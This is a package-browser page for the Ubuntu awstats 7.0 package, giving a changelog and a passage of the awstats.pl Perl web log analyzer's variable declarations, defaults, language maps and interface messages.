~ubuntu-branches/ubuntu/raring/awstats/raring

« back to all changes in this revision

Viewing changes to .pc/1017_fix_html_output_markup.patch/wwwroot/cgi-bin/awstats.pl

  • Committer: Package Import Robot
  • Author(s): Sergey B Kirpichev
  • Date: 2011-10-29 16:43:28 UTC
  • Revision ID: package-import@ubuntu.com-20111029164328-us8n3qfb070hitzm
Tags: 7.0~dfsg-3
* Bump up Standards-Version (to 3.9.2)
* Removed .gitignore
* Replace /usr/share/doc/awstats/html/awstats_changelog.txt.gz by
  symlink to avoid lintian warning
* Include patches/1016_downloads_list_page.patch to generate
  "Downloads Full list" page (Closes: #638857)
* Refresh patches with --no-index --no-timestamps -pab --diffstat
* Include patches/1017_fix_html_output_markup.patch to fix some output
  issues (Closes: #630943)
* Update copyright for debian/* files
* Minor tweaks of debian/README.Debian
* Add some hints to restrict access to /cgi-bin/awstats.pl (Closes:
  #590953)

Show diffs side-by-side

added added

removed removed

Lines of Context:
 
1
#!/usr/bin/perl
 
2
#------------------------------------------------------------------------------
 
3
# Free realtime web server logfile analyzer to show advanced web statistics.
 
4
# Works from command line or as a CGI. You must use this script as often as
 
5
# necessary from your scheduler to update your statistics and from command
 
6
# line or a browser to read report results.
 
7
# See AWStats documentation (in docs/ directory) for all setup instructions.
 
8
#------------------------------------------------------------------------------
 
9
# $Revision: 1.971 $ - $Author: eldy $ - $Date: 2010/10/16 17:24:03 $
 
10
require 5.007;
 
11
 
 
12
#$|=1;
 
13
#use warnings;          # Must be used in test mode only. This reduce a little process speed
 
14
#use diagnostics;       # Must be used in test mode only. This reduce a lot of process speed
 
15
use strict;
 
16
no strict "refs";
 
17
use Time::Local
 
18
  ; # use Time::Local 'timelocal_nocheck' is faster but not supported by all Time::Local modules
 
19
use Socket;
 
20
use Encode;
 
21
 
 
22
#------------------------------------------------------------------------------
 
23
# Defines
 
24
#------------------------------------------------------------------------------
 
25
use vars qw/ $REVISION $VERSION /;
 
26
$REVISION = '$Revision: 1.971 $';
 
27
$REVISION =~ /\s(.*)\s/;
 
28
$REVISION = $1;
 
29
$VERSION  = "7.0 (build $REVISION)";
 
30
 
 
31
# ----- Constants -----
 
32
use vars qw/
 
33
  $DEBUGFORCED $NBOFLINESFORBENCHMARK $FRAMEWIDTH $NBOFLASTUPDATELOOKUPTOSAVE
 
34
  $LIMITFLUSH $NEWDAYVISITTIMEOUT $VISITTIMEOUT $NOTSORTEDRECORDTOLERANCE
 
35
  $WIDTHCOLICON $TOOLTIPON
 
36
  $lastyearbeforeupdate $lastmonthbeforeupdate $lastdaybeforeupdate $lasthourbeforeupdate $lastdatebeforeupdate
 
37
  $NOHTML
 
38
  /;
 
39
$DEBUGFORCED = 0
 
40
  ; # Force debug level to log lesser level into debug.log file (Keep this value to 0)
 
41
$NBOFLINESFORBENCHMARK = 8192
 
42
  ; # Benchmark info are printing every NBOFLINESFORBENCHMARK lines (Must be a power of 2)
 
43
$FRAMEWIDTH = 240;    # Width of left frame when UseFramesWhenCGI is on
 
44
$NBOFLASTUPDATELOOKUPTOSAVE =
 
45
  500;                # Nb of records to save in DNS last update cache file
 
46
$LIMITFLUSH =
 
47
  5000;   # Nb of records in data arrays after how we need to flush data on disk
 
48
$NEWDAYVISITTIMEOUT = 764041;    # Delay between 01-23:59:59 and 02-00:00:00
 
49
$VISITTIMEOUT       = 10000
 
50
  ; # Lapse of time to consider a page load as a new visit. 10000 = 1 hour (Default = 10000)
 
51
$NOTSORTEDRECORDTOLERANCE = 20000
 
52
  ; # Lapse of time to accept a record if not in correct order. 20000 = 2 hour (Default = 20000)
 
53
$WIDTHCOLICON = 32;
 
54
$TOOLTIPON    = 0;    # Tooltips plugin loaded
 
55
$NOHTML       = 0;    # Suppress the html headers
 
56
 
 
57
# ----- Running variables -----
 
58
use vars qw/
 
59
  $DIR $PROG $Extension
 
60
  $Debug $ShowSteps
 
61
  $DebugResetDone $DNSLookupAlreadyDone
 
62
  $RunAsCli $UpdateFor $HeaderHTTPSent $HeaderHTMLSent
 
63
  $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum $LastUpdate
 
64
  $lowerval
 
65
  $PluginMode
 
66
  $MetaRobot
 
67
  $AverageVisits $AveragePages $AverageHits $AverageBytes
 
68
  $TotalUnique $TotalVisits $TotalHostsKnown $TotalHostsUnknown
 
69
  $TotalPages $TotalHits $TotalBytes $TotalHitsErrors
 
70
  $TotalNotViewedPages $TotalNotViewedHits $TotalNotViewedBytes
 
71
  $TotalEntries $TotalExits $TotalBytesPages $TotalDifferentPages
 
72
  $TotalKeyphrases $TotalKeywords $TotalDifferentKeyphrases $TotalDifferentKeywords
 
73
  $TotalSearchEnginesPages $TotalSearchEnginesHits $TotalRefererPages $TotalRefererHits $TotalDifferentSearchEngines $TotalDifferentReferer
 
74
  $FrameName $Center $FileConfig $FileSuffix $Host $YearRequired $MonthRequired $DayRequired $HourRequired
 
75
  $QueryString $SiteConfig $StaticLinks $PageCode $PageDir $PerlParsingFormat $UserAgent
 
76
  $pos_vh $pos_host $pos_logname $pos_date $pos_tz $pos_method $pos_url $pos_code $pos_size
 
77
  $pos_referer $pos_agent $pos_query $pos_gzipin $pos_gzipout $pos_compratio $pos_timetaken
 
78
  $pos_cluster $pos_emails $pos_emailr $pos_hostr @pos_extra
 
79
  /;
 
80
$DIR = $PROG = $Extension = '';
 
81
$Debug          = $ShowSteps            = 0;
 
82
$DebugResetDone = $DNSLookupAlreadyDone = 0;
 
83
$RunAsCli       = $UpdateFor            = $HeaderHTTPSent = $HeaderHTMLSent = 0;
 
84
$LastLine = $LastLineNumber = $LastLineOffset = $LastLineChecksum = 0;
 
85
$LastUpdate          = 0;
 
86
$lowerval            = 0;
 
87
$PluginMode          = '';
 
88
$MetaRobot           = 0;
 
89
$AverageVisits = $AveragePages = $AverageHits = $AverageBytes = 0; 
 
90
$TotalUnique         = $TotalVisits = $TotalHostsKnown = $TotalHostsUnknown = 0;
 
91
$TotalPages          = $TotalHits = $TotalBytes = $TotalHitsErrors = 0;
 
92
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
 
93
$TotalEntries = $TotalExits = $TotalBytesPages = $TotalDifferentPages = 0;
 
94
$TotalKeyphrases = $TotalKeywords = $TotalDifferentKeyphrases = 0;
 
95
$TotalDifferentKeywords = 0;
 
96
$TotalSearchEnginesPages = $TotalSearchEnginesHits = $TotalRefererPages = 0;
 
97
$TotalRefererHits = $TotalDifferentSearchEngines = $TotalDifferentReferer = 0;
 
98
(
 
99
        $FrameName,    $Center,       $FileConfig,        $FileSuffix,
 
100
        $Host,         $YearRequired, $MonthRequired,     $DayRequired,
 
101
        $HourRequired, $QueryString,  $SiteConfig,        $StaticLinks,
 
102
        $PageCode,     $PageDir,      $PerlParsingFormat, $UserAgent
 
103
  )
 
104
  = ( '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '' );
 
105
 
 
106
# ----- Plugins variable -----
 
107
use vars qw/ %PluginsLoaded $PluginDir $AtLeastOneSectionPlugin /;
 
108
%PluginsLoaded           = ();
 
109
$PluginDir               = '';
 
110
$AtLeastOneSectionPlugin = 0;
 
111
 
 
112
# ----- Time vars -----
 
113
use vars qw/
 
114
  $starttime
 
115
  $nowtime $tomorrowtime
 
116
  $nowweekofmonth $nowweekofyear $nowdaymod $nowsmallyear
 
117
  $nowsec $nowmin $nowhour $nowday $nowmonth $nowyear $nowwday $nowyday $nowns
 
118
  $StartSeconds $StartMicroseconds
 
119
  /;
 
120
$StartSeconds = $StartMicroseconds = 0;
 
121
 
 
122
# ----- Variables for config file reading -----
 
123
use vars qw/
 
124
  $FoundNotPageList
 
125
  /;
 
126
$FoundNotPageList = 0;
 
127
 
 
128
# ----- Config file variables -----
 
129
use vars qw/
 
130
  $StaticExt
 
131
  $DNSStaticCacheFile
 
132
  $DNSLastUpdateCacheFile
 
133
  $MiscTrackerUrl
 
134
  $Lang
 
135
  $MaxRowsInHTMLOutput
 
136
  $MaxLengthOfShownURL
 
137
  $MaxLengthOfStoredURL
 
138
  $MaxLengthOfStoredUA
 
139
  %BarPng
 
140
  $BuildReportFormat
 
141
  $BuildHistoryFormat
 
142
  $ExtraTrackedRowsLimit
 
143
  $DatabaseBreak
 
144
  $SectionsToBeSaved
 
145
  /;
 
146
$StaticExt              = 'html';
 
147
$DNSStaticCacheFile     = 'dnscache.txt';
 
148
$DNSLastUpdateCacheFile = 'dnscachelastupdate.txt';
 
149
$MiscTrackerUrl         = '/js/awstats_misc_tracker.js';
 
150
$Lang                   = 'auto';
 
151
$SectionsToBeSaved      = 'all';
 
152
$MaxRowsInHTMLOutput    = 1000;
 
153
$MaxLengthOfShownURL    = 64;
 
154
$MaxLengthOfStoredURL = 256;  # Note: Apache LimitRequestLine is default to 8190
 
155
$MaxLengthOfStoredUA  = 256;
 
156
%BarPng               = (
 
157
        'vv' => 'vv.png',
 
158
        'vu' => 'vu.png',
 
159
        'hu' => 'hu.png',
 
160
        'vp' => 'vp.png',
 
161
        'hp' => 'hp.png',
 
162
        'he' => 'he.png',
 
163
        'hx' => 'hx.png',
 
164
        'vh' => 'vh.png',
 
165
        'hh' => 'hh.png',
 
166
        'vk' => 'vk.png',
 
167
        'hk' => 'hk.png'
 
168
);
 
169
$BuildReportFormat     = 'html';
 
170
$BuildHistoryFormat    = 'text';
 
171
$ExtraTrackedRowsLimit = 500;
 
172
$DatabaseBreak         = 'month';
 
173
use vars qw/
 
174
  $DebugMessages $AllowToUpdateStatsFromBrowser $EnableLockForUpdate $DNSLookup $AllowAccessFromWebToAuthenticatedUsersOnly
 
175
  $BarHeight $BarWidth $CreateDirDataIfNotExists $KeepBackupOfHistoricFiles
 
176
  $NbOfLinesParsed $NbOfLinesDropped $NbOfLinesCorrupted $NbOfLinesComment $NbOfLinesBlank $NbOfOldLines $NbOfNewLines
 
177
  $NbOfLinesShowsteps $NewLinePhase $NbOfLinesForCorruptedLog $PurgeLogFile $ArchiveLogRecords
 
178
  $ShowDropped $ShowCorrupted $ShowUnknownOrigin $ShowDirectOrigin $ShowLinksToWhoIs
 
179
  $ShowAuthenticatedUsers $ShowFileSizesStats $ShowScreenSizeStats $ShowSMTPErrorsStats
 
180
  $ShowEMailSenders $ShowEMailReceivers $ShowWormsStats $ShowClusterStats
 
181
  $IncludeInternalLinksInOriginSection
 
182
  $AuthenticatedUsersNotCaseSensitive
 
183
  $Expires $UpdateStats $MigrateStats $URLNotCaseSensitive $URLWithQuery $URLReferrerWithQuery
 
184
  $DecodeUA
 
185
  /;
 
186
(
 
187
        $DebugMessages,
 
188
        $AllowToUpdateStatsFromBrowser,
 
189
        $EnableLockForUpdate,
 
190
        $DNSLookup,
 
191
        $AllowAccessFromWebToAuthenticatedUsersOnly,
 
192
        $BarHeight,
 
193
        $BarWidth,
 
194
        $CreateDirDataIfNotExists,
 
195
        $KeepBackupOfHistoricFiles,
 
196
        $NbOfLinesParsed,
 
197
        $NbOfLinesDropped,
 
198
        $NbOfLinesCorrupted,
 
199
        $NbOfLinesComment,
 
200
        $NbOfLinesBlank,
 
201
        $NbOfOldLines,
 
202
        $NbOfNewLines,
 
203
        $NbOfLinesShowsteps,
 
204
        $NewLinePhase,
 
205
        $NbOfLinesForCorruptedLog,
 
206
        $PurgeLogFile,
 
207
        $ArchiveLogRecords,
 
208
        $ShowDropped,
 
209
        $ShowCorrupted,
 
210
        $ShowUnknownOrigin,
 
211
        $ShowDirectOrigin,
 
212
        $ShowLinksToWhoIs,
 
213
        $ShowAuthenticatedUsers,
 
214
        $ShowFileSizesStats,
 
215
        $ShowScreenSizeStats,
 
216
        $ShowSMTPErrorsStats,
 
217
        $ShowEMailSenders,
 
218
        $ShowEMailReceivers,
 
219
        $ShowWormsStats,
 
220
        $ShowClusterStats,
 
221
        $IncludeInternalLinksInOriginSection,
 
222
        $AuthenticatedUsersNotCaseSensitive,
 
223
        $Expires,
 
224
        $UpdateStats,
 
225
        $MigrateStats,
 
226
        $URLNotCaseSensitive,
 
227
        $URLWithQuery,
 
228
        $URLReferrerWithQuery,
 
229
        $DecodeUA
 
230
  )
 
231
  = (
 
232
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
 
233
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
 
234
  );
 
235
use vars qw/
 
236
  $DetailedReportsOnNewWindows
 
237
  $FirstDayOfWeek $KeyWordsNotSensitive $SaveDatabaseFilesWithPermissionsForEveryone
 
238
  $WarningMessages $ShowLinksOnUrl $UseFramesWhenCGI
 
239
  $ShowMenu $ShowSummary $ShowMonthStats $ShowDaysOfMonthStats $ShowDaysOfWeekStats
 
240
  $ShowHoursStats $ShowDomainsStats $ShowHostsStats
 
241
  $ShowRobotsStats $ShowSessionsStats $ShowPagesStats $ShowFileTypesStats $ShowDownloadsStats
 
242
  $ShowOSStats $ShowBrowsersStats $ShowOriginStats
 
243
  $ShowKeyphrasesStats $ShowKeywordsStats $ShowMiscStats $ShowHTTPErrorsStats
 
244
  $AddDataArrayMonthStats $AddDataArrayShowDaysOfMonthStats $AddDataArrayShowDaysOfWeekStats $AddDataArrayShowHoursStats
 
245
  /;
 
246
(
 
247
        $DetailedReportsOnNewWindows,
 
248
        $FirstDayOfWeek,
 
249
        $KeyWordsNotSensitive,
 
250
        $SaveDatabaseFilesWithPermissionsForEveryone,
 
251
        $WarningMessages,
 
252
        $ShowLinksOnUrl,
 
253
        $UseFramesWhenCGI,
 
254
        $ShowMenu,
 
255
        $ShowSummary,
 
256
        $ShowMonthStats,
 
257
        $ShowDaysOfMonthStats,
 
258
        $ShowDaysOfWeekStats,
 
259
        $ShowHoursStats,
 
260
        $ShowDomainsStats,
 
261
        $ShowHostsStats,
 
262
        $ShowRobotsStats,
 
263
        $ShowSessionsStats,
 
264
        $ShowPagesStats,
 
265
        $ShowFileTypesStats,
 
266
        $ShowDownloadsStats,
 
267
        $ShowOSStats,
 
268
        $ShowBrowsersStats,
 
269
        $ShowOriginStats,
 
270
        $ShowKeyphrasesStats,
 
271
        $ShowKeywordsStats,
 
272
        $ShowMiscStats,
 
273
        $ShowHTTPErrorsStats,
 
274
        $AddDataArrayMonthStats,
 
275
        $AddDataArrayShowDaysOfMonthStats,
 
276
        $AddDataArrayShowDaysOfWeekStats,
 
277
        $AddDataArrayShowHoursStats
 
278
  )
 
279
  = (
 
280
        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
 
281
        1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1
 
282
  );
 
283
use vars qw/
 
284
  $AllowFullYearView
 
285
  $LevelForRobotsDetection $LevelForWormsDetection $LevelForBrowsersDetection $LevelForOSDetection $LevelForRefererAnalyze
 
286
  $LevelForFileTypesDetection $LevelForSearchEnginesDetection $LevelForKeywordsDetection
 
287
  /;
 
288
(
 
289
        $AllowFullYearView,          $LevelForRobotsDetection,
 
290
        $LevelForWormsDetection,     $LevelForBrowsersDetection,
 
291
        $LevelForOSDetection,        $LevelForRefererAnalyze,
 
292
        $LevelForFileTypesDetection, $LevelForSearchEnginesDetection,
 
293
        $LevelForKeywordsDetection
 
294
  )
 
295
  = ( 2, 2, 0, 2, 2, 2, 2, 2, 2 );
 
296
use vars qw/
 
297
  $DirLock $DirCgi $DirConfig $DirData $DirIcons $DirLang $AWScript $ArchiveFileName
 
298
  $AllowAccessFromWebToFollowingIPAddresses $HTMLHeadSection $HTMLEndSection $LinksToWhoIs $LinksToIPWhoIs
 
299
  $LogFile $LogType $LogFormat $LogSeparator $Logo $LogoLink $StyleSheet $WrapperScript $SiteDomain
 
300
  $UseHTTPSLinkForUrl $URLQuerySeparators $URLWithAnchor $ErrorMessages $ShowFlagLinks
 
301
  /;
 
302
(
 
303
        $DirLock,                                  $DirCgi,
 
304
        $DirConfig,                                $DirData,
 
305
        $DirIcons,                                 $DirLang,
 
306
        $AWScript,                                 $ArchiveFileName,
 
307
        $AllowAccessFromWebToFollowingIPAddresses, $HTMLHeadSection,
 
308
        $HTMLEndSection,                           $LinksToWhoIs,
 
309
        $LinksToIPWhoIs,                           $LogFile,
 
310
        $LogType,                                  $LogFormat,
 
311
        $LogSeparator,                             $Logo,
 
312
        $LogoLink,                                 $StyleSheet,
 
313
        $WrapperScript,                            $SiteDomain,
 
314
        $UseHTTPSLinkForUrl,                       $URLQuerySeparators,
 
315
        $URLWithAnchor,                            $ErrorMessages,
 
316
        $ShowFlagLinks
 
317
  )
 
318
  = (
 
319
        '', '', '', '', '', '', '', '', '', '', '', '', '', '',
 
320
        '', '', '', '', '', '', '', '', '', '', '', '', ''
 
321
  );
 
322
use vars qw/
 
323
  $color_Background $color_TableBG $color_TableBGRowTitle
 
324
  $color_TableBGTitle $color_TableBorder $color_TableRowTitle $color_TableTitle
 
325
  $color_text $color_textpercent $color_titletext $color_weekend $color_link $color_hover $color_other
 
326
  $color_h $color_k $color_p $color_e $color_x $color_s $color_u $color_v
 
327
  /;
 
328
(
 
329
        $color_Background,   $color_TableBG,     $color_TableBGRowTitle,
 
330
        $color_TableBGTitle, $color_TableBorder, $color_TableRowTitle,
 
331
        $color_TableTitle,   $color_text,        $color_textpercent,
 
332
        $color_titletext,    $color_weekend,     $color_link,
 
333
        $color_hover,        $color_other,       $color_h,
 
334
        $color_k,            $color_p,           $color_e,
 
335
        $color_x,            $color_s,           $color_u,
 
336
        $color_v
 
337
  )
 
338
  = (
 
339
        '', '', '', '', '', '', '', '', '', '', '', '',
 
340
        '', '', '', '', '', '', '', '', '', ''
 
341
  );
 
342
 
 
343
# ---------- Init arrays --------
 
344
use vars qw/
 
345
  @RobotsSearchIDOrder_list1 @RobotsSearchIDOrder_list2 @RobotsSearchIDOrder_listgen
 
346
  @SearchEnginesSearchIDOrder_list1 @SearchEnginesSearchIDOrder_list2 @SearchEnginesSearchIDOrder_listgen
 
347
  @BrowsersSearchIDOrder @OSSearchIDOrder @WordsToExtractSearchUrl @WordsToCleanSearchUrl
 
348
  @WormsSearchIDOrder
 
349
  @RobotsSearchIDOrder @SearchEnginesSearchIDOrder
 
350
  @_from_p @_from_h
 
351
  @_time_p @_time_h @_time_k @_time_nv_p @_time_nv_h @_time_nv_k
 
352
  @DOWIndex @fieldlib @keylist
 
353
  /;
 
354
@RobotsSearchIDOrder = @SearchEnginesSearchIDOrder = ();
 
355
@_from_p = @_from_h = ();
 
356
@_time_p = @_time_h = @_time_k = @_time_nv_p = @_time_nv_h = @_time_nv_k = ();
 
357
@DOWIndex = @fieldlib = @keylist = ();
 
358
use vars qw/
 
359
  @MiscListOrder %MiscListCalc
 
360
  %OSFamily %BrowsersFamily @SessionsRange %SessionsAverage
 
361
  %LangBrowserToLangAwstats %LangAWStatsToFlagAwstats %BrowsersSafariBuildToVersionHash
 
362
  @HostAliases @AllowAccessFromWebToFollowingAuthenticatedUsers
 
363
  @DefaultFile @SkipDNSLookupFor
 
364
  @SkipHosts @SkipUserAgents @SkipFiles @SkipReferrers @NotPageFiles
 
365
  @OnlyHosts @OnlyUserAgents @OnlyFiles @OnlyUsers
 
366
  @URLWithQueryWithOnly @URLWithQueryWithout
 
367
  @ExtraName @ExtraCondition @ExtraStatTypes @MaxNbOfExtra @MinHitExtra
 
368
  @ExtraFirstColumnTitle @ExtraFirstColumnValues @ExtraFirstColumnFunction @ExtraFirstColumnFormat
 
369
  @ExtraCodeFilter @ExtraConditionType @ExtraConditionTypeVal
 
370
  @ExtraFirstColumnValuesType @ExtraFirstColumnValuesTypeVal
 
371
  @ExtraAddAverageRow @ExtraAddSumRow
 
372
  @PluginsToLoad
 
373
  /;
 
374
@MiscListOrder = (
 
375
        'AddToFavourites',  'JavascriptDisabled',
 
376
        'JavaEnabled',      'DirectorSupport',
 
377
        'FlashSupport',     'RealPlayerSupport',
 
378
        'QuickTimeSupport', 'WindowsMediaPlayerSupport',
 
379
        'PDFSupport'
 
380
);
 
381
%MiscListCalc = (
 
382
        'TotalMisc'                 => '',
 
383
        'AddToFavourites'           => 'u',
 
384
        'JavascriptDisabled'        => 'hm',
 
385
        'JavaEnabled'               => 'hm',
 
386
        'DirectorSupport'           => 'hm',
 
387
        'FlashSupport'              => 'hm',
 
388
        'RealPlayerSupport'         => 'hm',
 
389
        'QuickTimeSupport'          => 'hm',
 
390
        'WindowsMediaPlayerSupport' => 'hm',
 
391
        'PDFSupport'                => 'hm'
 
392
);
 
393
@SessionsRange =
 
394
  ( '0s-30s', '30s-2mn', '2mn-5mn', '5mn-15mn', '15mn-30mn', '30mn-1h', '1h+' );
 
395
%SessionsAverage = (
 
396
        '0s-30s',   15,  '30s-2mn',   75,   '2mn-5mn', 210,
 
397
        '5mn-15mn', 600, '15mn-30mn', 1350, '30mn-1h', 2700,
 
398
        '1h+',      3600
 
399
);
 
400
 
 
401
# HTTP-Accept or Lang parameter => AWStats code to use for lang
 
402
# ISO-639-1 or 2 or other       => awstats-xx.txt where xx is ISO-639-1
 
403
%LangBrowserToLangAwstats = (
 
404
        'sq'    => 'al',
 
405
        'ar'    => 'ar',
 
406
        'ba'    => 'ba',
 
407
        'bg'    => 'bg',
 
408
        'zh-tw' => 'tw',
 
409
        'zh'    => 'cn',
 
410
        'cs'    => 'cz',
 
411
        'de'    => 'de',
 
412
        'da'    => 'dk',
 
413
        'en'    => 'en',
 
414
        'et'    => 'et',
 
415
        'fi'    => 'fi',
 
416
        'fr'    => 'fr',
 
417
        'gl'    => 'gl',
 
418
        'es'    => 'es',
 
419
        'eu'    => 'eu',
 
420
        'ca'    => 'ca',
 
421
        'el'    => 'gr',
 
422
        'hu'    => 'hu',
 
423
        'is'    => 'is',
 
424
        'in'    => 'id',
 
425
        'it'    => 'it',
 
426
        'ja'    => 'jp',
 
427
        'kr'    => 'ko',
 
428
        'lv'    => 'lv',
 
429
        'nl'    => 'nl',
 
430
        'no'    => 'nb',
 
431
        'nb'    => 'nb',
 
432
        'nn'    => 'nn',
 
433
        'pl'    => 'pl',
 
434
        'pt'    => 'pt',
 
435
        'pt-br' => 'br',
 
436
        'ro'    => 'ro',
 
437
        'ru'    => 'ru',
 
438
        'sr'    => 'sr',
 
439
        'sk'    => 'sk',
 
440
        'sv'    => 'se',
 
441
        'th'    => 'th',
 
442
        'tr'    => 'tr',
 
443
        'uk'    => 'ua',
 
444
        'cy'    => 'cy',
 
445
        'wlk'   => 'cy'
 
446
);
 
447
%LangAWStatsToFlagAwstats =
 
448
  (  # If flag (country ISO-3166 two letters) is not same than AWStats Lang code
 
449
        'ca' => 'es_cat',
 
450
        'et' => 'ee',
 
451
        'eu' => 'es_eu',
 
452
        'cy' => 'wlk',
 
453
        'gl' => 'glg',
 
454
        'he' => 'il',
 
455
        'ko' => 'kr',
 
456
        'ar' => 'sa',
 
457
        'sr' => 'cs'
 
458
  );
 
459
 
 
460
@HostAliases = @AllowAccessFromWebToFollowingAuthenticatedUsers = ();
 
461
@DefaultFile = @SkipDNSLookupFor = ();
 
462
@SkipHosts = @SkipUserAgents = @NotPageFiles = @SkipFiles = @SkipReferrers = ();
 
463
@OnlyHosts = @OnlyUserAgents = @OnlyFiles = @OnlyUsers = ();
 
464
@URLWithQueryWithOnly     = @URLWithQueryWithout    = ();
 
465
@ExtraName                = @ExtraCondition         = @ExtraStatTypes = ();
 
466
@MaxNbOfExtra             = @MinHitExtra            = ();
 
467
@ExtraFirstColumnTitle    = @ExtraFirstColumnValues = ();
 
468
@ExtraFirstColumnFunction = @ExtraFirstColumnFormat = ();
 
469
@ExtraCodeFilter = @ExtraConditionType = @ExtraConditionTypeVal = ();
 
470
@ExtraFirstColumnValuesType = @ExtraFirstColumnValuesTypeVal = ();
 
471
@ExtraAddAverageRow         = @ExtraAddSumRow                = ();
 
472
@PluginsToLoad              = ();
 
473
 
 
474
# ---------- Init hash arrays --------
 
475
use vars qw/
 
476
  %BrowsersHashIDLib %BrowsersHashIcon %BrowsersHereAreGrabbers
 
477
  %DomainsHashIDLib
 
478
  %MimeHashLib %MimeHashFamily
 
479
  %OSHashID %OSHashLib
 
480
  %RobotsHashIDLib %RobotsAffiliateLib
 
481
  %SearchEnginesHashID %SearchEnginesHashLib %SearchEnginesWithKeysNotInQuery %SearchEnginesKnownUrl %NotSearchEnginesKeys
 
482
  %WormsHashID %WormsHashLib %WormsHashTarget
 
483
  /;
 
484
use vars qw/
 
485
  %HTMLOutput %NoLoadPlugin %FilterIn %FilterEx
 
486
  %BadFormatWarning
 
487
  %MonthNumLib
 
488
  %ValidHTTPCodes %ValidSMTPCodes
 
489
  %TrapInfosForHTTPErrorCodes %NotPageList %DayBytes %DayHits %DayPages %DayVisits
 
490
  %MaxNbOf %MinHit
 
491
  %ListOfYears %HistoryAlreadyFlushed %PosInFile %ValueInFile
 
492
  %val %nextval %egal
 
493
  %TmpDNSLookup %TmpOS %TmpRefererServer %TmpRobot %TmpBrowser %MyDNSTable
 
494
  /;
 
495
%HTMLOutput = %NoLoadPlugin = %FilterIn = %FilterEx = ();
 
496
%BadFormatWarning           = ();
 
497
%MonthNumLib                = ();
 
498
%ValidHTTPCodes             = %ValidSMTPCodes = ();
 
499
%TrapInfosForHTTPErrorCodes = ();
 
500
$TrapInfosForHTTPErrorCodes{404} = 1;    # TODO Add this in config file
 
501
%NotPageList = ();
 
502
%DayBytes    = %DayHits               = %DayPages  = %DayVisits   = ();
 
503
%MaxNbOf     = %MinHit                = ();
 
504
%ListOfYears = %HistoryAlreadyFlushed = %PosInFile = %ValueInFile = ();
 
505
%val = %nextval = %egal = ();
 
506
%TmpDNSLookup = %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
 
507
%MyDNSTable = ();
 
508
use vars qw/
 
509
  %FirstTime %LastTime
 
510
  %MonthHostsKnown %MonthHostsUnknown
 
511
  %MonthUnique %MonthVisits
 
512
  %MonthPages %MonthHits %MonthBytes
 
513
  %MonthNotViewedPages %MonthNotViewedHits %MonthNotViewedBytes
 
514
  %_session %_browser_h
 
515
  %_domener_p %_domener_h %_domener_k %_errors_h %_errors_k
 
516
  %_filetypes_h %_filetypes_k %_filetypes_gz_in %_filetypes_gz_out
 
517
  %_host_p %_host_h %_host_k %_host_l %_host_s %_host_u
 
518
  %_waithost_e %_waithost_l %_waithost_s %_waithost_u
 
519
  %_keyphrases %_keywords %_os_h %_pagesrefs_p %_pagesrefs_h %_robot_h %_robot_k %_robot_l %_robot_r
 
520
  %_worm_h %_worm_k %_worm_l %_login_h %_login_p %_login_k %_login_l %_screensize_h
 
521
  %_misc_p %_misc_h %_misc_k
 
522
  %_cluster_p %_cluster_h %_cluster_k
 
523
  %_se_referrals_p %_se_referrals_h %_sider404_h %_referer404_h %_url_p %_url_k %_url_e %_url_x
 
524
  %_downloads
 
525
  %_unknownreferer_l %_unknownrefererbrowser_l
 
526
  %_emails_h %_emails_k %_emails_l %_emailr_h %_emailr_k %_emailr_l
 
527
  /;
 
528
&Init_HashArray();
 
529
 
 
530
# ---------- Init Regex --------
 
531
use vars qw/ $regclean1 $regclean2 $regdate /;
 
532
$regclean1 = qr/<(recnb|\/td)>/i;
 
533
$regclean2 = qr/<\/?[^<>]+>/i;
 
534
$regdate   = qr/(\d\d\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)/;
 
535
 
 
536
# ---------- Init Tie::hash arrays --------
 
537
# Didn't find a tie that increase speed
 
538
#use Tie::StdHash;
 
539
#use Tie::Cache::LRU;
 
540
#tie %_host_p, 'Tie::StdHash';
 
541
#tie %TmpOS, 'Tie::Cache::LRU';
 
542
 
 
543
# PROTOCOL CODES
 
544
use vars qw/ %httpcodelib %ftpcodelib %smtpcodelib /;
 
545
 
 
546
# DEFAULT MESSAGE
 
547
use vars qw/ @Message /;
 
548
@Message = (
 
549
        'Unknown',
 
550
        'Unknown (unresolved ip)',
 
551
        'Others',
 
552
        'View details',
 
553
        'Day',
 
554
        'Month',
 
555
        'Year',
 
556
        'Statistics for',
 
557
        'First visit',
 
558
        'Last visit',
 
559
        'Number of visits',
 
560
        'Unique visitors',
 
561
        'Visit',
 
562
        'different keywords',
 
563
        'Search',
 
564
        'Percent',
 
565
        'Traffic',
 
566
        'Domains/Countries',
 
567
        'Visitors',
 
568
        'Pages-URL',
 
569
        'Hours',
 
570
        'Browsers',
 
571
        '',
 
572
        'Referers',
 
573
        'Never updated (See \'Build/Update\' on awstats_setup.html page)',
 
574
        'Visitors domains/countries',
 
575
        'hosts',
 
576
        'pages',
 
577
        'different pages-url',
 
578
        'Viewed',
 
579
        'Other words',
 
580
        'Pages not found',
 
581
        'HTTP Error codes',
 
582
        'Netscape versions',
 
583
        'IE versions',
 
584
        'Last Update',
 
585
        'Connect to site from',
 
586
        'Origin',
 
587
        'Direct address / Bookmarks',
 
588
        'Origin unknown',
 
589
        'Links from an Internet Search Engine',
 
590
        'Links from an external page (other web sites except search engines)',
 
591
        'Links from an internal page (other page on same site)',
 
592
        'Keyphrases used on search engines',
 
593
        'Keywords used on search engines',
 
594
        'Unresolved IP Address',
 
595
        'Unknown OS (Referer field)',
 
596
        'Required but not found URLs (HTTP code 404)',
 
597
        'IP Address',
 
598
        'Error&nbsp;Hits',
 
599
        'Unknown browsers (Referer field)',
 
600
        'different robots',
 
601
        'visits/visitor',
 
602
        'Robots/Spiders visitors',
 
603
        'Free realtime logfile analyzer for advanced web statistics',
 
604
        'of',
 
605
        'Pages',
 
606
        'Hits',
 
607
        'Versions',
 
608
        'Operating Systems',
 
609
        'Jan',
 
610
        'Feb',
 
611
        'Mar',
 
612
        'Apr',
 
613
        'May',
 
614
        'Jun',
 
615
        'Jul',
 
616
        'Aug',
